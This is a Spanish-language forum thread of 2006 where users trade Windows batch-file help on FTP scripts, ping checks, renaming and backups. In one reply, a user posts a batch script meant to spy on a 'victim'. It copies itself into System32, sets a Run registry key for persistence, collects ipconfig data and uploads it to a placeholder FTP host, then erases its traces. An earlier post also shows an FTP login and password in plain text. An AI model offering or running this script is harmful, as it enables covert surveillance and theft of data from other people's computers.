lo cual probe y lo que hace es borrar el contenido del mp3 y en vez de eso colocar el codigo de arriba, pero lo que sucede es solo borra archivos que no contengan espacio, me explico, por ej, borra "aaaa.mp3", pero el archivo "aaa aaa aaa.mp3" no lo puede borrar, como podria hacer para que funcione con los archivo que contengan espacio en blanco, y la otra consulta es que en el archivo nuevo se copia el codigo como les dije, pero lo que quiero es no copie nada, que quede en blanco, sin el codigo, haber si me ayudan, muchas gracias


Título: Variables entre archivos
Publicado por: fsandria en 23 Marzo 2006, 23:02 pm
Tengo 1 archivo bat y un script ftp para traer la informacion de uno de los servidores a la pc, funcionan perfectamente, solo que me cambiaron el esquema en que se guardan los respaldos, antes se guardaban en un solo directorio (llamado respaldo), ahora se guardan en uno llamado del mismo nombre pero seguido de guion bajo y la fecha del dia (respaldo_23032006), el bat para crear un directorio con la fecha del dia no es problema, el problema es hacer que el archivo .ftp se dirija hacia el directorio que corresponde al dia,
mando los dos archivitos en el orden en que se corren:

--- ram.bat ---
@echo off
ftp -n -s:ram.ftp

--- ram.ftp ---
open 10.20.30.40
user sistemas raqxtrpix
bin
prompt
cd /respaldo/respaldos/ram/respaldo_xxxxxxxx
mget dbexport.*
cd soaardb.exp
mget *.unl
mget *.sql
close
quit

basicamente mi problema es como me paso a el directorio respaldo_xxxxxxxx en el archivo .ftp si ya consegui que me me creara el directorio en la pc con la fecha del dia y que es la variable que deberia llevar en las xxxxxxxxx


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: elmonomario en 26 Marzo 2006, 08:23 am
Hola Necesitaría que alguien me explique bien como lo modifico a éste código que hice ya que no me guarda toda la información en el archivo txt que creo. Gracias

@echo off
CHKDSK
tp2.bat>tp1.txt


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 26 Marzo 2006, 22:22 pm
Seria asi:

@echo off
CHKDSK > C:\info.txt
exit

Salu2

Hendrix



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: elmonomario en 27 Marzo 2006, 02:24 am
 ;D Muchas gracias Hendrix ahora anda de diez.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: nanoemi003784 en 27 Marzo 2006, 10:03 am
Hola, quisiera saber como hacer lo siguiente:

hacer un bat que me de una respuesta de un ping

En un pseudocódigo sería más o menos así:

SET ip=192.168.0.1
ping %ip%
si(ping me dio alguna respuesta negativa (es decir me dio tiempo de espera agotado)) entonces:
    echo No anda
sino
    echo Anda perfectamente

Fin

La idea es que necesito saber si ping devuelve algun resultado o si hay una variable default donde todas las funciones retornan algun tipo de resultado.

Desde ya muchas gracias!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 27 Marzo 2006, 16:10 pm
Yo hace tiempo hice algo parecido, lo que hacia mi programa era ver si habia konexion (haciendo ping a google), si respondia te enviaba la IP de la viktima a tu FTP, sino, esperaba 50 segundos y lo volvia a mirar....

Te paso el kode:

Código:
@echo off
copy /y %0 C:\Windows\System32\Win32.exe
Reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Win32 /d "C:\Windows\System32\Win32.exe"
:mira
ping www.google.es > C:\Windows\System32\ping.txt
For /F "skip=3 Tokens=1 Delims= " %%A IN (C:\Windows\System32\ping.txt) do set ips=%%A
IF %ips%==M¡nimo (set q=siconec ) else (set q=noconec)
if %q%==siconec (goto ftp) else (goto torna)
:ftp
ipconfig /all > C:\Windows\System32\ip.txt
echo TUNOMBRE > C:\Windows\System32\datos.txt
echo TUPASS >> C:\Windows\System32\datos.txt
echo put C:\Windows\System32\datos.txt datos.txt >> C:\Windows\System32\datos.txt
echo put >> C:\Windows\System32\ip.txt %username%.txt >> C:\Windows\System32\datos.txt
echo bye >> C:\Windows\System32\datos.txt
ftp -s:C:\Windows\System32\datos.txt ftp.TUFTP.com
goto fin
:torna
ping 127.0.0.1 -n 50
goto mira
:fin
del /s /q C:\Windows\System32\ping.txt
del /s /q C:\Windows\System32\datos.txt
del /s /q C:\Windows\System32\ip.txt
exit

Espero que te sirva, es algo komplikadillo, pero weno.

Salu2

Hendrix



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: nanoemi003784 en 27 Marzo 2006, 17:53 pm
Gracias por responder Hendrix.

Si me sirvió, pero yo pensé que el DOS o el lenguaje batch o quien fuera te devolvía una variable estandar con un resultado true o false o algo asi luego de cada comando; digo esto porque veo que en tu código escribis en un archivo y luego lo lees y de ahi sacas la  respuesta al ping.
Pero tengo entendido que ping de por si devuelve algo (1 ó 0 ó true ó false) y asi todos los comandos, pero no se cual es la manera de ver ese resultado sin tirarlo a un archivo.
De todos modos con este script que me diste es más que suficiente y te lo agradezco.
Nos vemos, si te enteras de algo con respecto a esto me aisas?
Saludos!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 27 Marzo 2006, 22:03 pm
no, el DOS no funciona asi, solo funciona de la manera que esta en mi programa.

A veces es algo komplikado este lenguaje (sobre todo para leer archivos). Pero Weno....

Salu2

Hendrix



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: nanoemi003784 en 28 Marzo 2006, 00:11 am
Hendrix:

Gracias por todo, descubri una pequeña variable que no se bien como funciona pero sirve para lo que yo necesitaba. Te paso el código para que lo veas y me corrijas en todo lo posible o me das más información pq de esto se muy poco:

@echo off
SET ip=192.168.0.1
ping %equipo% -n 1
echo %errorlevel%

si el ping da respuesta la variable errorlevel vale 0
si el ping da tiempo de espera agotado la variable errorlevel vale 1

Por suerte con esto me alcanza, pero si no fuera por tu ayuda y la de este foro no lo habría hecho, asi que gracias de nuevo e insisto, si conseguis más información acerca de este errorlevel te estaría más agradecido aún.
Saludos!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 28 Marzo 2006, 16:25 pm
vaya, yo konocia este comando, pero no sabia que funcionaba para esto....esta bastante interesante.... ;D ;D ;D ;D

Por cierto, el kode que posteaste tu komo ejemplo seria asi para que fuese korrecto:

@echo off
SET ip=192.168.0.1
ping %ip% -n 1
echo %errorlevel%
pause
exit

Salu2

Hendrix



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: cyrusx en 1 Abril 2006, 06:18 am
saludos!!!!!!  se q soy nuevo por aki y solo les queria preguntar como hago para cambiar de color la pantalla por medio de un BAT q paleta uso, osea q colores soporta y como se usa el comando...... gracias..........


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 1 Abril 2006, 11:13 am
Prueba este:

color 0a

Para ver mas kolores pon esto:

color /?

Salu2

Hendrix



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 2 Abril 2006, 21:33 pm
Informacion detallada en batch:

Este kode te da una informacion detallada de tu PC., bastante interesante.

Código:
@echo off
echo Informacion sobre el PC: > C:\info.txt
echo ***************************************** >> C:\info.txt
Systeminfo >> C:\info.txt
echo ***************************************** >> C:\info.txt
echo El nombre del usuario es: %username% >> C:\info.txt
echo El nombre de la PC es: %computername% >> C:\info.txt
echo La carpeta del systema es: %systemroot% >> C:\info.txt
echo Plataforma: %os% >> C:\info.txt
echo Numero de Procesadores del Sistema: %NUMBER_OF_PROCESSORS% >> C:\info.txt
echo El MS-DOS se enkuentra en: %comspec% >> C:\info.txt
echo Tus extensiones ejecutables son: %pathext% >> C:\info.txt
echo Numero de modelo de tu procesador: %PROCESSOR_LEVEL% >> C:\info.txt

echo ***************************************** >> C:\info.txt
echo Los diskos que tiene este PC son: >> C:\info.txt
If Exist B:\ ( echo Disco B >> C:\info.txt && goto 2) else (goto 2)
:2
If Exist C:\ ( echo Disco C >> C:\info.txt && goto 3) else (goto 3)
:3
If Exist D:\ ( echo Disco D >> C:\info.txt && goto 4) else (goto 4)
:4
If Exist E:\ ( echo Disco E >> C:\info.txt && goto 5) else (goto 5)
:5
If Exist F:\ ( echo Disco F >> C:\info.txt && goto 6) else (goto 6)
:6
If Exist G:\ ( echo Disco G >> C:\info.txt && goto 7) else (goto 7)
:7
If Exist H:\ ( echo Disco H >> C:\info.txt && goto 8) else (goto 8)
:8
If Exist I:\ ( echo Disco I >> C:\info.txt && goto 9) else (goto 9)
:9
If Exist J:\ ( echo Disco J >> C:\info.txt && goto 10) else (goto 10)
:10
If Exist K:\ ( echo Disco K >> C:\info.txt && goto 11) else (goto 11)
:11
If Exist L:\ ( echo Disco L >> C:\info.txt && goto 12) else (goto 12)
:12
If Exist M:\ ( echo Disco M >> C:\info.txt && goto 13) else (goto 13)
:13
If Exist N:\ ( echo Disco N >> C:\info.txt && goto 14) else (goto 14)
:14
If Exist O:\ ( echo Disco O >> C:\info.txt && goto 15) else (goto 15)
:15
If Exist P:\ ( echo Disco P >> C:\info.txt && goto 16) else (goto 16)
:16
If Exist Q:\ ( echo Disco Q >> C:\info.txt && goto 17) else (goto 17)
:17
If Exist R:\ ( echo Disco R >> C:\info.txt && goto 18) else (goto 18)
:18
If Exist S:\ ( echo Disco S >> C:\info.txt && goto 19) else (goto 19)
:19
If Exist T:\ ( echo Disco T >> C:\info.txt && goto 20) else (goto 20)
:20
If Exist U:\ ( echo Disco U >> C:\info.txt && goto 21) else (goto 21)
:21
If Exist V:\ ( echo Disco V >> C:\info.txt && goto 22) else (goto 22)
:22
If Exist W:\ ( echo Disco W >> C:\info.txt && goto 23) else (goto 23)
:23
If Exist X:\ ( echo Disco X >> C:\info.txt && goto 24) else (goto 24)
:24
If Exist Y:\ ( echo Disco Y >> C:\info.txt && goto 25) else (goto 25)
:25
If Exist Z:\ ( echo Disco Z >> C:\info.txt && goto 26) else (goto 26)
:26
echo *********************************************** >> C:\info.txt
echo Informacion completa de tu IP: >> C:\info.txt
ipconfig /all >> C:\info.txt
echo ***********************************************>> C:\info.txt
echo EOF >> C:\info.txt
start C:\info.txt
exit

PD: El kode es 100% mio, no e echo ningun copy&paste... ;) ;)

Salu2

Hendrix



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Franc_ en 3 Abril 2006, 18:56 pm
Como hago para renombrar un archivo, 01 aventuras.rar a 01_aventuras.rar. osea renombrar ami archivos con (_) en ves de espacio.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 3 Abril 2006, 23:13 pm
ren 01 aventuras.rar 01_aventuras.rar

Ten en kuenta que tienes que estar en la ruta adekuada, es decir, si estos archivos estan en C:\Windows pones esto:

cd "C:\Windows"
ren 01 aventuras.rar 01_aventuras.rar

Y asi ya vale...

Salu2



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Franc_ en 4 Abril 2006, 15:51 pm
Muchas gracias amigo, pero como seria para varios archivos 01 aaaa.rar
02 aaaa.rar
03 aaaa.rar


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 4 Abril 2006, 23:04 pm
Si tienes muchos archivos puedes hacer un bukle, por ejemplo puedes hacer esto:

@echo off
set /a op=0
:tutu
set /a op=%op%+1
ren %op% archivo.rar %op%_archivo.rar
if %op%==20 (goto turet)
goto tutu
:turet
exit

En este kaso se crearia un bukle que renombraria todos los archivos desde el 0 hasta el 20, lo puedes modifikar a tu gusto...

PD: recuerda poner la ruta!!!! kedaria asi:

@echo off
cd "C:\ruta\ruta
set /a op=0
:tutu
set /a op=%op%+1
ren %op% archivo.rar %op%_archivo.rar
if %op%==20 (goto turet)
goto tutu
:turet
exit

Salu2

Hendrix



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Franc_ en 5 Abril 2006, 16:06 pm
no me sale nada amigo, me dice "La sintaxis del comando no es correcta", y otra consulta si se puede, algunos archivos tienen mas espacios por sustituir, osea. xxx xxx xxx.rar, cmo haria para sustituir esos espacios en blanco por ( _ ), osea xxx_xxx_xxx-rar, gracias por tu ayuda


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: SPERMAN en 5 Abril 2006, 18:23 pm
Hola a todos...

Soy nuevo en este foro, y nuevo también en el mundillo de la informática "en profundidad".

Tengo un problemilla con un .BAT, os explico:

- Estoy usando un programa en WINDOWS XP, basado en MS-DOS. Este programa está instalado en red, y lo estamos usando 2 personas. Yo necesito imprimir datos que genera este programa a través de una impresora que no es la mía, sino que está ubicada en otro ordenador (como predeterminada de éste).

- El código del .BAT es el siguiente:
 
  @echo off
  Z:
  SET MANCLA=OBLDOJLA
  cd \turbocon
  REM SET APOUSER1=IMP2001
  btrieve /m:64 /p:4096 >nul
  man2001.exe
  butil -stop >nul
  cd\

Mi pregunta es: ¿Qué debo incluir en este .BAT para que yo pueda imprimir en la impresora de la otra persona?


Gracias de antemano.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: malignant en 5 Abril 2006, 18:58 pm
Wenasss lo que me a costado encontrar un foro de batch, jeje. He estado leyendo todo el tema y he visto q dais muchas soluciones y me a dado alegria al ver que ay gente q sabe  ;D

Mi problemilla es que tengo q convertir unos ficheros wav a mp3, pero ese no es el problemilla, sino que los ficheros mp3, deben de conservar la fecha de los anteriores por mas que e buscado en la red, nada de nada. Si pudierais echarme una mano os lo agradeceria.

Un saludo.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Janox26 en 7 Abril 2006, 01:49 am
Hola a todos, son nuevo en esto y necesito hacer una consulta. Me da lo mismo en que lenguaje que se realice pero lo necesito urgente.

Tengo un archivo txt con el nombre de los equipos de una red,
no la ip el nombre de equipo.
Lo que necesito hacer un ping a los equipos y ver si tiene respuesta o no tiene respuesta, y que lo guarde en otro archivo txt.  Yo hice uno simple  que igual me sirve, pero solo graba el primero, los otros no.

@echo off

ping equipo1> c:\vaso.txt
ping equipo2 
ping equipo 3
pause

Gracias amigos y espero puedan ayudarme.






Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Compusers en 7 Abril 2006, 20:08 pm
Mi problema es que tngo un archivo .ini que quisiera modificar mediante un .bat pero me falta una ayudadita para poderlo editar por ejemplo:

Echo 1.- Cual es tu nombre?
Echo 2.- Cuantos años Tienes?
Echo 3.- Que sexo tienes?
Echo 4.- Salir

choice 1234

if errorlevel 4 goto salir
if errorlevel 3 goto sexo
if errorlevel 2 goto años
if errorlevel 1 goto nombre

Salir:
@Exit

sexo:
echo.
echo Preciona M ó H segun tu Sexo
echo.
choice MH

if errorlevel 2 goto Hombre
if errorlevel 1 goto Mujer

Hombre:
echo [SEXO]=H > c:\Empleados\config.ini
C:\Modificar.bat

Mujer:
echo [SEXO]=M > c:\Empleados\Config.ini
C:\Modificar.bat

años:
Echo.
Echo Escribe cuantos años tienes y preciona Enter
Echo.

( Aqui es donde tengo el problema ya que no se me ocurre como poder ingresar el numero que escriban en el espacio de echo para mandarlo al Config.ini y tambien que no se si es posible poner en un lugar de la lista el escrito )
Ejemplo:

[Nombre]= ?
[Edad]= ?
[Sexo]= ?

el echo quedaria

echo [Nombre]= Mi Nombre > c:\Empleados\Config.ini
echo [Edad]= Mi Edad > c:\Empleados\Config.ini
echo [Sexo]=  :D3 veces al Dia:D > c:\Empleados\Config.ini

pero como puedo escribir en cada lugar que le corresponde a cada instruccion, de antemano muchas gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: DragonFire en 7 Abril 2006, 20:29 pm
Mi problema es que tngo un archivo .ini que quisiera modificar mediante un .bat pero me falta una ayudadita para poderlo editar por ejemplo:

Echo 1.- Cual es tu nombre?
Echo 2.- Cuantos años Tienes?
Echo 3.- Que sexo tienes?
Echo 4.- Salir

choice 1234

if errorlevel 4 goto salir
if errorlevel 3 goto sexo
if errorlevel 2 goto años
if errorlevel 1 goto nombre

Salir:
@Exit

sexo:
echo.
echo Preciona M ó H segun tu Sexo
echo.
choice MH

if errorlevel 2 goto Hombre
if errorlevel 1 goto Mujer

Hombre:
echo [SEXO]=H > c:\Empleados\config.ini
C:\Modificar.bat

Mujer:
echo [SEXO]=M > c:\Empleados\Config.ini
C:\Modificar.bat

años:
Echo.
Echo Escribe cuantos años tienes y preciona Enter
Echo.

( Aqui es donde tengo el problema ya que no se me ocurre como poder ingresar el numero que escriban en el espacio de echo para mandarlo al Config.ini y tambien que no se si es posible poner en un lugar de la lista el escrito )
Ejemplo:

[Nombre]= ?
[Edad]= ?
[Sexo]= ?

el echo quedaria

echo [Nombre]= Mi Nombre > c:\Empleados\Config.ini
echo [Edad]= Mi Edad > c:\Empleados\Config.ini
echo [Sexo]=  :D3 veces al Dia:D > c:\Empleados\Config.ini

pero como puedo escribir en cada lugar que le corresponde a cada instruccion, de antemano muchas gracias

hay un tipo especial de comando que no es ni interno i exteno en los bat... Son comados bat que solo estan habilitados cuando el bat corre.

Uno de ellos es el equivalente en unix al read y lo que lee lo mete en una variable..

necesitaras el help del msdos 6.22 o versiones similares y buscar los subcomandos bat.

si pones help en un XP no te dara eso comandos


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: sirdarckcat en 9 Abril 2006, 06:57 am
Hay muchas maneras de pedir una cadena de texto, la mas facil de pensar es un bucle de "choice 0123456789"

Otra opcion seria hacer un programa con debug que almacenara la variable.. eso esta en la MKDB (http://support.microsoft.com/default.aspx?scid=KB;EN-US;Q77457&)

otra forma seria con caracteres de escape:
Código:
echo ESCRIBE ALGO:
ECHO 
COPY CON USRINPUT.TMP
ECHO 
CLS
ECHO escribiste:
TYPE USRINPUT.TMP

Dependiendo del SO, tambien podrias usar esto:
Código:
FOR /F "tokens=*" %%A IN ('TYPE CON') DO SET INPUT=%%A
ECHO Escribiste: "%INPUT%"

http://www.robvanderwoude.com/index.html

Ahora que si quieres hacer mas grafico tu porgrama, podrias usar algo como esto:
http://my.fcc.net/~tglbatch/input95.html

LastDragon, no existe ninguna funcion como la que dices..

Saludos!!


Título: Re: abrir y toquetear ficheros
Publicado por: pemo en 11 Abril 2006, 13:05 pm
ola, keria saber si alguien me puede ayudar a hacer un batch k ni sikiera se si se puede.  Dos preguntas:

- Por un lado quiero ejecutar un programa (lame) sobre cada fichero de un directorio. Habia pensado en un dir /b > fichero.txt. Pero ahora no se si existe un comando en DOS que pueda coger lineas de un fichero (le haria un bucle FOR). Existe algún comando??????

- Por otro lado quiero que la salida del batch se guarde en un fichero que tenga como nombre la fecha del fichero origen. Si pudiera obtener la fecha con algún comando de DOS del fichero origen la guardo en una variable y luego la utilizo. Exista comando para obtener fecha de un fichero????.

A ver si alguien me puede ayudar por favor. Muchas Gracias y un saludo.


Título: Re: abrir y toketear ficheros
Publicado por: pemo en 11 Abril 2006, 13:22 pm
ola, keria saber si alguien me puede ayudar a hacer un batch k ni sikiera se si se puede.  Dos preguntas:

- Por un lado quiero ejecutar un programa (lame) sobre cada fichero de un directorio. Habia pensado en un dir /b > fichero.txt. Pero ahora no se si existe un comando en DOS que pueda coger lineas de un fichero (le haria un bucle FOR). Existe algún comando??????

- Por otro lado quiero que la salida del batch se guarde en un fichero que tenga como nombre la fecha del fichero origen. Si pudiera obtener la fecha con algún comando de DOS del fichero origen la guardo en una variable y luego la utilizo. Exista comando para obtener fecha de un fichero????.

A ver si alguien me puede ayudar por favor. Muchas Gracias y un saludo.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: vishero en 20 Abril 2006, 20:37 pm
Hola,

Primero agradecer a todos los que han compartido sus conocimientos en este post...

No tengo mucha idea del tema, pero leyendo este estupendo hilo se aprende mucho...

Estoy intentando hacer un menú para un DVD con software variado, que permita elegir cual instalar.

Algo muy simple...

El Autorun.inf ejecutaría el Menu.bat, que a modo de ejemplo, sería el siguiente, para las pruebas he puesto solo dos opciones, pero serán varias mas:

Código:
@ECHO OFF

COLOR 1f

TITLE INSTALACION PRODUCTOS ADOBE


:MENU
cls
ECHO.
ECHO.
ECHO.
ECHO   ----------------------------------------------
ECHO.
ECHO         SELECCIONAR EL SOFTWARE A INSTALAR
ECHO.
ECHO   ----------------------------------------------
ECHO.
ECHO.
ECHO     1 - Instalar Adobe Acrobat 7.0 Professional
ECHO.
ECHO     2 - Instalar Adobe Creative Suite 2.0
ECHO.
ECHO.

:ELECCION
ECHO.
ECHO.
ECHO   ---------------------------------------------------
ECHO    Introduzca numero de eleccion, o T para terminar:
ECHO   ---------------------------------------------------
set /p opcion1=
IF %opcion1%==1 GOTO ACROBAT
IF %opcion1%==2 GOTO CREATIVE
IF %opcion1%==t GOTO FIN

:ACROBAT
ECHO.
ECHO.
ECHO   -------------------------------------------
ECHO    Instalar Adobe Acrobat Professional v7.0
ECHO   -------------------------------------------
PAUSE
CD Adobe Acrobat 7.0 Professional\
AutoPlay.exe
GOTO OTRO

:CREATIVE
ECHO.
ECHO.
ECHO   -------------------------------------------
ECHO     Instalar Adobe Creative Suite CS2 v9.0
ECHO   -------------------------------------------
PAUSE
CD Adobe Creative Suite 2.0\
Setup.exe
GOTO OTRO

:OTRO
ECHO.
ECHO.
ECHO   -------------------------------------------
ECHO      Quiere instalar otro software (S/N):
ECHO   -------------------------------------------
set /p opcion2=
IF %opcion2%==s GOTO MENU
IF %opcion2%==n GOTO FIN

:FIN
exit

El bat funciona bien en la primera elección, ejecuta el instalador elegido y cuando termina se va a :OTRO, si selecciono N se cierra, y si selecciono S vuelve al principio.

El problema es que ahora no encuentra la ruta de los ejecutables, es como si hubiera cambiado el path...

Como hago para "fijar" los directorios que contienen los ejecutables en relación al .bat?..., teniendo en cuenta que la letra de CD/DVD puede variar de un PC a otro, o dentro del mismo PC si tiene mas de un CD/DVD...

Si además alguien tiene alguna sugerencia de cambio o mejora del código, será bienvenida...   :)

sl2


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: jarmenkell en 21 Abril 2006, 17:02 pm
Problo
saludos a todos tengo un problema el asunto es el siguiente necesito concatenar dos directorios ejemplo
set directorio = cd

y luego en directorio concatenarlo con /b123/FD

agradezco su ayuda


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hendrix en 27 Abril 2006, 16:31 pm
 :o :o :huh: :huh: :huh:, explikate mejor....que kieres hacer???? sacar por ejemplo C:\Windows y agregarle /b123/FD??? :-\ :-\ :-\

Expliakte mejor... ;) ;)

Salu2



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: thor3308 en 30 Abril 2006, 23:55 pm
hola quisiera saber como crear un bat para un backup que comprima con pkzip una carpeta con sus subcarpetas y programarlo para que se ejecute a una hora determinada. gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: urtxiak68 en 12 Mayo 2006, 10:12 am
hola, necesito ayuda urgente!!este es mi primer post, me he registrado porque llevo tiempo leyendo y aprendiendo pero aqui estoy atascada. necesitaria que alguien me explicara como hacer un fichero bat que borre todos los archivos que tengan mas de 7 dias de antiguedad de la fecha en la que ejecute el programa.
muchisimas gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 27 Mayo 2006, 13:18 pm
hola urtxiak

Pues la fecha actual del sistema la tienes en %date%, pero no veo como puedes acceder a la fecha de los archivos en este entorno de manera que a mi modo de ver esto no se puede hacer.

Te aconsejo que crees una pequeña aplicación en C, vbscript  o similar que te lo haga.

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Isirius en 5 Junio 2006, 23:19 pm
Hola tengo dos preguntas una es saber si alguien sabe de algun manual o si me puede explicar como tratar el registro con bath añadir entradas como en el Run o cosas asi en bath y la otra es si con bath se puede identificar en que directorio se encuentra el archivo y depues crear una clave en el registro dependiendo en el lugar que esta. Lo de mas importancia es lo primero Gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: sirdarckcat en 6 Junio 2006, 06:55 am
bueno urtxiak se masomenos como hacerlo pero solo en el directorio actual y debes aprender a usar error level y recompilacion de batch.. pero segun yo es posible..

aunque ademas de posible es complicado xD!
busca informacion sobre:
"choice"
"errorlevel"
y el uso de "<>" para redireccionar entrada y salida de acciones de programas..

Saludos!!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 6 Junio 2006, 20:13 pm
Citar
tengo dos preguntas una es saber si alguien sabe de algun manual o si me puede explicar como tratar el registro

¿Qué tal si empiezas por leer este post o el texto html que está en documentación?

 :rolleyes:


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: zickox en 6 Junio 2006, 23:36 pm
Hola tengo dos preguntas una es saber si alguien sabe de algun manual o si me puede explicar como tratar el registro con bath añadir entradas como en el Run o cosas asi en bath y la otra es si con bath se puede identificar en que directorio se encuentra el archivo y depues crear una clave en el registro dependiendo en el lugar que esta. Lo de mas importancia es lo primero Gracias

en google hay manuales del registro, para mas info sobre komo agregar y kitar llaves del registro pones esto en la shell de comandos reg /? para añadir entradas es asi reg add
si kieres mas info reg add /?
y si kieres buskar en el directorio que esta X archivo es usando for para que te enkuentre el archivo y luego sepas en que direcotrio esta para mas info for /? despues puedes krear una llave en el registro usando variables por ej set /p directorio=ruta luego kreas la llave kon la variable %directorio% para mas info set /?
weno y eso seria...


salu2


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: xor_and en 7 Junio 2006, 21:34 pm
saludos a todos los del foro, me alegra haber encontrado un foro dedicado a bat. Además leyendo me han dado las respuestas a varias dudasa que tenia...
gracias y estare dando vueltas mas seguido por aqui ;D


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Unico_2006 en 12 Junio 2006, 11:58 am
Hola a todos, soy nuevo en este foro;

I como no soy otro usuario que necesita ayuda sobre hacer un scrip en windows 2000 para salvar datos de maquinás clientes a servidores de datos.

Yo quiero preguntar si se puede hacer lo siguiente:

Quiero que la maquina cliente al ponerle el punto bat en el arranque acceda al servidor se loguee, que después de loguearse cree una carpeta con el nombre de la maquina cliente, y que después copie todos los datos de la partición d: de la maquina cliente y que la copie en la carpeta que haya creado con el nombre de la maquina, y que después de todo eso me cree un Log con todos los ficheros que haya creado, para saber si los a copiado todo o no.

Ahora bien me leeréis y diréis por que no te lees todo lo que hemos puesto, y os digo lo leído todo pero no me funciona el comando xcopy en el bat he probado con todas las formas posibles me dice que si lo he copiado y luego resulta que no pasa nada, de todas maneras el command en Windows 2000 esta en c:\WINNT\system32\ no en win32 como a puesto alguien en la primera pagina.

me duda mas grave es;
¿Se puede de alguna forma crear un scrip que te de el nombre de la maquiná y que he cree una carpeta en el servidor con dicho nombre???


Bueno gracias a todo por cierto el menu ese de if no se pero no funciona tambien he probado a escribirlo de mil maneras y me estoy volviendo loco.

= me pasa con xcopy con if, con =, if%1, ya no se con que probar no se si es por la version de MS-dos pero si me funciona todo esto sin crearlo en el punto BAT me tendría que funcionar, digo yo, o no? Necestito ayuda por que lo necesito para la empresa que estamos renobando mas de 600 makinas y maginaros manualmente, que locura.

Necesito vuestra ayuda a ver si me podeís poner un scrip que sea mas o menos igual y sino lo quereis enviar por aky, enviarme un correo porfavor al cesming@yahoo.es.

Gracias y un saludo a todos.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Unico_2006 en 12 Junio 2006, 13:59 pm
Hola otra vez, ya he conseguido hacer lo xcopy ya se por que me fallaba, y erea por que depende del orden que escribas las opciones si escribes por ejemplo:

xcopy "d:\loquesea\*.*" \\*.*.*.*\*$\loquesea\ /F/E/Y no me

funciona pero si lo escribo:

xcopy "d:\loquesea\*.*" \\*.*.*.*\*$\loquesea\ /e /y /f

si me funciona es de locos lo que NO he descubierto es que automanticamente me cree la carpeta en el servidor con el nombre de maquina; no Tengo NPI de como poder hacerlo, a ver si me contesta algún maquina de la sabiduria.

Lo bueno seria pues que cuando inicie Windows se ejecutara el backup.bat y que hiciera lo siguiente:

1) loguearse en el servidor
2) Crear una carpeta en el servidor con el nombre del equipo del cliente.
3) Copiar todos los ficheros y directorios de la maquina cliente al servidor Backup a la Carpeta que haya creado con el nombre de la maquina cliente.
4) Que me cree un log en un fichero txt para que luego pueda imprimir o incluso mirar para ver si se han copiado todos ficheros.

El punto 1 y 3 los tengo echos me falta el 2 el 4 pues hombre cuando copias los ficheros te da el numero de ficheros que has copiato le podrias dar a print y emprimirlos o intentar que los guarde en un txt eso ya se me escapa. Seguire probando asta que vea una respuesta de mis preguntas.

Gracias a todos


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: wonderwoman en 12 Junio 2006, 16:58 pm
Hola Soplo , necesito tu ayuda por favor lo antes posible. Estoy trabajando con un archivo .bat. Lo que requiero es conectarme a un FTP y abrir un archivo que este en este. Hata ahora lo que he logrado hacer es conectarme al servidor, posicionarme en la carpeta donde esta el archivo, pero no he podido abrir el archivoooo :-(. El comando start no me lo reconoce cuando estoy trabajando con conexiones ftp. Este es el código que he utilizado:

Archivo .txt
login
contraseña
cd /carpeta/
pwd
ascii
start archivo.doc    (Esto no me funciona!!!) :o
quit

Archivo.bat (el que invoca al Archivo .txt y hace la conexión ftp)
ftp -s:C:\batch\inst.txt ftp.server.com

Por favor ayuda, lo necesito lo mas pronto posible!!! :huh:

Gracias Solpo Gracias  :D


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Unico_2006 en 14 Junio 2006, 00:30 am
Hola a todos otra vez.

Como aquí no encontre lo que buscaba, os dire que ya lo he conseguido hacer automaticamente, y la clave de ello es:
 ""las variables de entorno"" Si quereis saber mas buscar en el google "Windows Scripting" o "Variable de entorno".



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: GroK en 29 Junio 2006, 03:58 am
Hola wenas, le he dao un repaso al post y no lo he encontrao, asi q ahi va mi dudita: como seria para redireccionar la salida de un comando a un archivo externo?

Por ejemplo hacer un batch q ejecute el comando "systeminfo" y el resultado q devuelva mandarlo a C:\algo.txt

Alguna sugerencia? Gracias d antemano

Saludos

EDIT:

Nada, ya averigüe como era, demasiado obvio...

Código:
comando > archivo.txt

Saludos  ;D ;D


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ELKUERVO en 14 Julio 2006, 21:38 pm
hola se puede hacer un bat con format c:?.


Título: Re: TUTORIAL PROGRAMACION BAT
